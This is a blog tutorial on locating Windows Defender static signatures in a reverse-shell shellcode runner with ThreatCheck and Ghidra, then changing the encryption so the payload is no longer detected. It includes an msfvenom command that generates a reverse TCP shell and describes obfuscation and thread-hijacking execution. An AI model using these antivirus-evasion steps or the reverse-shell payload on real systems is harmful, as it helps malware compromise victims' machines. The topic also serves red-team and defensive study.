Page cover

Locating Defender Signatures

A simple methodology to find static signatures by Windows Defender and bypass them.

Intro

Microsoft's Windows Defender Antivirus has made significant improvements in terms of malware detection and protection, and it is now considered a competent antivirus solution for many users. Default payloads will get swallowed up by Defender and will leave you little to no clues as to why they got detected. Playing to get around Defender's detection will leave you scratching your head, but fortunately, with some tools, we can have some insights on how to evade or bypass its signatures. This post will demonstrate how to identify the "bad bytes" of a payload and some common techniques we can use to bypass the signature.

Getting Started

In this scenario, I'll use a simple "shellcode runner" executable that contains of course the shellcode and perform a reverse TCP connection.

  • Shellcode is XOR encrypted and UUID obfuscated

  • Win APIs are used to allocate memory for the shellcode.

  • De-obfuscated shellcode is executed via local thread hijacking

  • The shellcode is executed and a connection is established to the attacker machine.

We generate our shellcode via msfvenom which is highly signatured, encrypt it via an XOR operation, and obfuscate it further to a UUID representation.

╰─ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f csharp                                               ─╯
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of csharp file: 2368 bytes

Note: I would love to explain every encryption/obfuscation technique but this will increase the length and complexity of the blog, will only be explaining the essentials parts of this methodology. Hopefully, I can do this in some future blogs!

We embed this generated UUID in our code and compile it within Visual Studio. Upon dropping it to disk in our target Windows machine, we are quickly detected by Defender, indicating that our file is statically detected.

nawp defender, it's not a meterpreter payload!

Now we won't use Msfvenom's built-in encoders and try to locate the signature itself and change it manually.

ThreatCheck is our best friend when it comes to playing around with Defender's signatures. It's a tool that will help us identify the bad bytes of a malicious file. Let's run it against our executable:

circle-info

Ensure real-time protection is disabled in Defender before running ThreatCheck against binary artifacts.

ThreatCheck managed to find the block of code that Defender detects as malicious but still, we don't know what part of our code it is.

Here we'll use Ghidra to decompile our executable and locate the bad bytes identified by ThreatCheck. Load the file into a new project and have it run through it's auto-analysis.

Next, click the green dragon icon for the Code Browser and open your file. Then use the Search Memory function to find a sequence of bytes output from ThreatCheck.

circle-info

ThreatCheck consistently displays 1024 bytes on the console by starting from the far end of the "bad byte" range and working in reverse. Therefore, when observing 1024 bytes on the display, it should not be immediately assumed that the entire content is malicious. Given that the malicious bytes consistently appear after what is shown, it is advisable to examine the hex sequence from the lower end rather than the upper end for a more accurate assessment. In the example above, I'm searching for 00 00 00 f8 36 00 40 01 00 00 00 20 37 00 40 01

We found the bytes at 140005125, and clicking on the row will display it in the Code Browser.

Upon checking in the Listing View, we see that the offending bytes correspond to some of the UUID arrays which is our obfuscated shellcode. It seems that despite our efforts to encrypt the shellcode with XOR and obfuscate it to UUID arrays it is still detected as malicious.

Our options to change the signature would be to use a different encryption/obfuscation scheme or modify the logic a little bit so it encrypts to a different byte sequence. While studying cryptography can take time and years, we can even simply ask ChatGPT to provide us with a different logic for our XOR function like below:

In my case, I used AES encryption instead since it is much stronger and more secure than XOR. While it does still have its drawbacks, that's for another discussion. Using ThreatCheck again, it seems that Defender will no longer match that signature.

Yay!

And with that, we successfully got our reverse shell back in our attacker machine.

Conclusion

This is just a simple example of how we can modify and bypass static signatures. This methodology can be applied to any tool that you can access the source code. While this avoids being detected upon dropping to disk, there are still lots of other things to consider such as behavioral analysis and post-exploitation detections. Static detection is easy to dodge and defenders should not solely rely on them to detect known bad. Thank you for reading!

References

https://offensivedefence.co.uk/posts/threatcheck-ghidra/arrow-up-right

Last updated